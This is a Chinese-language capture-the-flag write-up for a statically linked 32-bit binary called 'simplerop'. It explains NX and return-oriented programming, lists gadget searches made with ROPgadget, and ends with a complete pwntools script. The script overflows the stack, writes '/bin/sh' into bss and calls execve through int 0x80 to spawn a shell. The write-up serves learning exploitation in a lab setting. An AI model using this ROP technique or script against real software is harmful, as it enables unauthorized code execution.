看到靜態鏈接,一頓欣喜,直接ropchain生成,棧溢出找出來就ok啦?然後後來發現並沒有那麼簡單。。。
================================================================================================
【一段小插曲】
做題的時候突然很奇怪,nx開啓,堆棧不可執行,爲什麼可以執行pop這些指令,搜了一下。。不可執行的應該是shellcode,但是這些指令還是能用的,不然棧區還怎麼使用。。。
NX
Non-Executable Memory,不可執行內存。瞭解 Linux 的都知道其文件有三種屬性,即 rwx,而 NX 即沒有 x 屬性。如果沒有 w 屬性,我們就不能向內存單元中寫入數據,如果沒有 x 屬性,寫入的 shellcode 就無法執行。所以,我們此時應該使用其他方法來 pwn 掉程序,其中最常見的方法爲 ROP (Return-Oriented Programming 返回導向編程),利用棧溢出在棧上佈置地址,每個內存地址對應一個 gadget,利用 ret 等指令進行銜接來執行某項功能,最終達到 pwn 掉程序的目的。
================================================================================================
輸入的字符串長度是100
而覆蓋量是0x20,emmm,這裏有個小bug?ida裏面是0x14+0x4=0x18,一開始沒有,所以我又cyclic字符串覆蓋了一下,發現是32,當然還是以調試爲準啦。。。。
本來是ROPgadget --binary simplerop --ropchain直接生成rop鏈,,,但是來了,因爲限制輸入最大爲100,覆蓋量又有32,所以太長了,怎麼辦???想哭,,只好自己找gadget了。。。
最後找到一個非常有用的指令,mov [eax],edx,能將edx的東西寫入eax指示的內存中
指令:ROPgadget --binary simplerop --only 'mov|ret' | grep edx
find:0x0807b301 : mov dword ptr [eax], edx ; ret
所以,我們考慮可以將8字節的‘/bin/sh’分成‘/bin’和‘/sh\x00’分別先用gadget送入bss內存,然後將bss地址作爲參數
指令:ROPgadget --binary simplerop --only 'pop|ret' | grep eax
find:0x080bae06 : pop eax ; ret
指令:ROPgadget --binary simplerop --only 'pop|ret' | grep edx
find:0x0806e82a : pop edx ; ret
find2:0x0806e850 : pop edx ; pop ecx ; pop ebx ; ret(用來傳遞參數值)
在ida裏面翻一下,還是比較方便找到bss段的起始地址的:
我們考慮調用execve(/bin/sh),execve的系統調用號是0x0b
int 0x80軟中斷是系統中斷,根據中斷號和相關寄存器設置調用對應系統函數
所以,我們先將execve四個參數佈置好,然後將0x0b放入eax,在執行int80即可
指令:ROPgadget --binary simplerop --only 'int'
find:0x080493e1 : int 0x80
所以,接下來我們可以編寫exp了
#!/usr/bin/python
#coding=utf-8
#coding這行確定編碼,防止報錯
from pwn import *
p=process('./simplerop')
bss_addr=0x080eaf80
mov_gadget=0x0807b301
pop_eax=0x080bae06
pop_edx=0x0806e82a
pop_edx_ecx_ebx=0x0806e850
int80=0x080493e1
payload = 'a'*32
#將‘/bin’存入到bss段
payload += p32(pop_eax)+p32(bss_addr)
payload += p32(pop_edx)+'/bin'
payload += p32(mov_gadget)
#將‘/sh’存入到bss段,接在‘/bin’的後面
payload += p32(pop_eax)+p32(bss_addr+4)
payload += p32(pop_edx)+'/sh\x00'
payload += p32(mov_gadget)
#把execve的四個參數傳入寄存器
payload += p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss_addr)
#execve的系統調用號
payload += p32(pop_eax)+p32(0x0b)
#int中斷,執行系統調用
payload += p32(int80)
p.recvuntil(':')
p.sendline(payload)
p.interactive()